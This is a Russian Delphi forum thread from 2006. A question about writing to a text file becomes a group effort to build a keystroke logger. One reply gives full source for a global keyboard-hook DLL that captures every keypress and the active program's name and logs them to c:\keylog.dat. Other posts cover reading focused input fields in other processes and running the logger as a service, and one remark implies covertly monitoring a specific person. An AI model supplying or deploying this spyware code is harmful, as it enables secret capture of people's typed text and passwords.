![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Запись в текстовый файл [D7, WinXP]
Tanya © (2006-07-26 21:33:00)Что-то я никак не пойму почему не работает запись в файл... Делаю я так:
var
F: TextFile;
при запуске программы:
AssignFile(F, 'file.dat');
if FileExists('file.dat') then
Append(F)
else
Rewrite(F);
при закрытии программы:
CloseFile(F);
во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):
WriteLn(F, 'test');
Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..
Джо (2006-08-13 03:57:00) [1]> [90] Tanya (13.08.06 00:59)
> Подскажите пожалуйста, как всетаки передать сообщение в
> сервис, это же тоже программа, не имеющая окна...
Ну, в принципе, невидимое окно завести никто не запрещает.
Ketmar (2006-08-13 01:09:00) [2]> [87] Virgo_Style © (02.08.06 07:45)
да. %-)
> [90] Tanya (13.08.06 00:59)
поиск делать религия запрещает? ну, сокетами, например. только не надо спрашивать "а как это?"
Tanya (2006-08-13 00:59:00) [3]Подскажите пожалуйста, как всетаки передать сообщение в сервис, это же тоже программа, не имеющая окна...
Zeqfreed (2006-08-02 07:58:00) [4]Zeqfreed © (02.08.06 07:56) [88]
Ой. Опять забыл, что форум съедает пробелы, да ещё и клиент русские комментарии куда-то дел :( Пробую ещё раз.
var
wnd : HWND;
toPID, PID : Cardinal;
begin
PID := GetCurrentThreadId();
Wnd := Нужное_окно
toPID := GetWindowThreadProcessId(Wnd, nil);
if not AttachThreadInput(toPID, PID, True) then Exit;
Wnd := GetFocus();
// Работаем с окном
AttachThreadInput(toPID, PID, False);
end;
Zeqfreed (2006-08-02 07:56:00) [5]> [84] Джо © (02.08.06 02:11)
Не знаю что проще, но я использовал нечто такое:
var
wnd : HWND;
toPID, PID : Cardinal;
begin
PID := GetCurrentThreadId();
Wnd := { }
toPID := GetWindowThreadProcessId(Wnd, nil);
if not AttachThreadInput(toPID, PID, True) then Exit;
Wnd := GetFocus();
// Wnd
AttachThreadInput(toPID, PID, False);
end;
Virgo_Style (2006-08-02 07:45:00) [6]Правильно ли я понимаю, что тут всем миром пишут keylogger? =)
Eraser (2006-08-02 02:58:00) [7]> [80] Tanya (01.08.06 17:13)
> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?
более того, данный метод коммуникации (используя сообщения) не будет поддерживать Fast User Switching (поэтому парень легко будет прятаться от тебя), поэтому прийдется писать ещё один исполняемый модуль, который будет запускаться для каждой терминальной сессии и взаимоействовать с одной стороны с dll, получая от неё сообщения, а с другой - с сервисом, посредством одного из способов IPC.
:o)
Джо (2006-08-02 02:23:00) [8]> [84] Джо © (02.08.06 02:11)
> GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt));
За сие не пинайте — вынужденный недосып :) Конечно, текст нужно выдирать посылкой сообщения WM_GETTEXT, но для вопроса это неважно.
Джо (2006-08-02 02:11:00) [9]> [83] Tanya (01.08.06 22:33)
> Джо, счто скажете о Tanya (01.08.06 20:44) [81]?
Я плохо разбираюсь в WinAPI, поэтому ничего изящного предложить не могу. Вот, например, придумал такой велосипед для определения окна (и дочернего, в том числе), имеющего фокус ввода в чужом процессе. Ничуть не удивлюсь, если есть более простые способы :)
var
ThreadId: THandle;
GuiThreadInfo: tagGUITHREADINFO;
Txt: array [0..1024] of Char;
begin
ThreadId := GetWindowThreadProcessId ( Handle_Окна);
if ThreadId = 0 then
RaiseLastOSError;
GuiThreadInfo.cbSize := SizeOf(tagGUITHREADINFO);
if not GetGUIThreadInfo (ThreadId,GuiThreadInfo) then
RaiseLastOSError;
// ну, а теперь получим его текст
GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt));
end;
Tanya (2006-08-01 22:33:00) [10]Джо, счто скажете о Tanya (01.08.06 20:44) [81]?
Джо (2006-08-01 21:48:00) [11]> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?
Нет, нужно окно.
Tanya (2006-08-01 20:44:00) [12]EnumChildWindows только перечисляет все дочерние окна, а хотелось бы какнибудь узнать именно то в котором происходит ввод символов...
Tanya (2006-08-01 17:13:00) [13]Попробую разобраться с этой функцией, а еще я хотела спросить.. Джо, в твоем примере мы передаем сообщение форме, которая имеет класс "TCharLogReceiver", а если это будет не форма и не программа а сервис? Если сервис будет иметь такое название класса, будут до него доходить сообщения?
Джо (2006-08-01 17:06:00) [14]> Вот как можно определить хендл не окна а поля ввода?
EnumChildWindows?
Tanya (2006-08-01 17:00:00) [15]У меня все получилось, работает все хорошо, заголовок окна я так определяю:
var
FormCaption: TMaxPathString;
...
GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));
Все работает хорошо, но у меня возник еще один вопрос. Наприер если на форме будет много полей ввода, как их различать? Я думаю по хендлу... Вот как можно определить хендл не окна а поля ввода?
Tanya (2006-07-28 13:15:00) [16]Джо, спасибо большое! Чмок тебя в носик )))
Джо (2006-07-27 19:14:00) [17]П.С. Практический совет. В главной программе периодически стоит делать текстовому файлу Flush, для реальной записи изменений на диск. Например, по таймеру или в процедуре Log раз в N-е кол-во записей.
Джо (2006-07-27 19:13:00) [18]Вот небольшой пример на основе твоего кода. Он только дополнен посылкой/обработкой сообшения и совсем чуть-чуть исправлен. На более расширенный пример нет времени.
--- Главная программа
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
// Класс главной формы должен иметь
// именно такое название! (см. константу в SharedUnit).
TCharLogReceiver = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FTextFile: TextFile;
procedure Log (const S: string);
procedure WmCopyData (var Msg: TMessage); message WM_COPYDATA;
public
{ Public declarations }
end;
var
CharLogReceiver: TCharLogReceiver;
procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;
implementation
uses SharedUnit;
{$R *.dfm}
const
LogFileName = 'c:\keylog.dat';
procedure TCharLogReceiver.Button1Click(Sender: TObject);
begin
if Button1.Caption = 'Run' then
begin
Button1.Caption := 'Stop';
RunHook;
end
else
if Button1.Caption = 'Stop' then
begin
StopHook;
Button1.Caption := 'Run';
end;
end;
procedure TCharLogReceiver.WmCopyData(var Msg: TMessage);
var
Struc: COPYDATASTRUCT;
AData: THookData;
begin
Struc := PCopyDataStruct (Msg.LParam)^;
TranslateData(Struc,AData);
Log (AData.ModuleFileName);
Log (AData.Chr);
Msg.Result := 1;
end;
procedure TCharLogReceiver.FormCreate(Sender: TObject);
begin
AssignFile(FTextFile, LogFileName);
if FileExists(LogFileName) then
Append(FTextFile)
else
Rewrite(FTextFile);
end;
procedure TCharLogReceiver.FormDestroy(Sender: TObject);
begin
CloseFile (FTextFile)
end;
procedure TCharLogReceiver.Log(const S: string);
begin
WriteLn (FTextFile,S);
end;
end.
--- Библиотека
library MyLib;
uses
Windows,
Messages,
SysUtils,
SharedUnit in 'SharedUnit.pas';
var
SysHook: HHook = 0;
function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
ModuleFileName: TMaxPathString;
KeyBS: TKeyboardState;
pTransChar : PChar;
Data: THookData;
begin
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyBoardState(KeyBS);
GetMem(pTransChar, 3);
ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
Data.Chr := pTransChar^;
Data.ModuleFileName := ModuleFileName;
SendData(Data);
FreeMem(pTransChar);
Result := 0;
end
else
Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;
procedure RunHook; export; stdcall;
begin
SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;
procedure StopHook; export; stdcall;
begin
UnHookWindowsHookEx(SysHook);
SysHook := 0;
end;
exports
RunHook index 1,
StopHook index 2;
end.
--- Общий модуль, используется как в библиотеке, так и в главной программе.
unit SharedUnit;
interface
uses Windows, Messages;
const
ReceiverWindowClassName = 'TCharLogReceiver';
type
TMaxPathString = array [0..MAX_PATH] of Char;
THookData = packed record
Chr: Char;
ModuleFileName: TMaxPathString;
end;
PHookData = ^THookData;
function SendData (AData: THookData): Boolean;
procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);
implementation
function SendData (AData: THookData): Boolean;
var
H: HWND;
_Data: COPYDATASTRUCT;
begin
Result := False;
H := FindWindow(ReceiverWindowClassName,nil);
if H <> 0 then
begin
_Data.dwData := 0;
_Data.cbData := SizeOf(THookData);
_Data.lpData := @AData;
Result := SendMessage (H,WM_COPYDATA,0,Integer(@_Data)) <> 0;
end;
end;
procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);
var
PData: PHookData;
begin
PData := DataStruc.lpData;
AData.Chr := PData^.Chr;
Move (PData^.ModuleFileName, AData.ModuleFileName, SizeOf(AData.ModuleFileName));
end;
end.
Думаю, что, несмотря на его небрежность, код достаточно прост для понимания и без комментариев. :)
tesseract (2006-07-27 17:41:00) [19]
> Tanya (27.07.06 17:17) [73]
не ловит какое сообщение?
Tanya (2006-07-27 17:17:00) [20]Что-то я совсем расстроилась...((( Не ловит программа сообщение и все, хоть ты тресни...((( И так HWND_BROADCAST пробавала, и хендл окна программы передать в библиотеку пыталась... Не ловит и все... В программе сделала для наглядности вызов функции ShowMessage, так вот она нивкаком случае не выскакивает...(((